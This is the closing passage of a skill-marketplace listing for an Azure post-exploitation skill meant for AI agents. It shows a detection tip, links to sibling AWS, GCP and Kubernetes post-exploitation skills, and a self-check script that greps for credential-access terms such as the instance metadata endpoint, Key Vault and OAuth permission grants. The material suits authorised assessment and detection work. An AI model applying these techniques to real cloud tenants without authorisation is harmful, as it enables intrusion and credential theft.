11. **Alert on `run-command` and `Run Command` extension invocations** - they are rare in steady state and are the classic escalation primitive.

---

## 11. RELATED SIBLINGS - LOAD TOGETHER

- [cloud-assessment](../cloud-assessment/SKILL.md) - the assessment methodology this post-exploitation phase follows
- [aws-postexploit](../aws-postexploit/SKILL.md) - the parallel provider with the same evidence discipline
- [gcp-postexploit](../gcp-postexploit/SKILL.md) - the third provider, and the same control pattern
- [k8s-postexploit](../k8s-postexploit/SKILL.md) - the container-to-cloud pivot when the cluster runs in Azure
- [credential-access-atomic-tests](../credential-access-atomic-tests/SKILL.md) - the technique mapping for detection engineering

---

## SELF-VERIFY — azure-postexploit

```bash
wc -c SKILL.md                                   # expect 24000-31000
grep -c '^## ' SKILL.md                          # expect 6 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'az account show' 'Metadata:true' '169.254.169.254' 'az rest' 'management.azure.com' \
         'graph.microsoft.com' 'denyAssignments' 'role assignment list' 'PIM' 'Conditional Access' \
         'Key Vault' 'federation' 'oauth2PermissionGrants' 'T1078.004' 'T1098.001'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.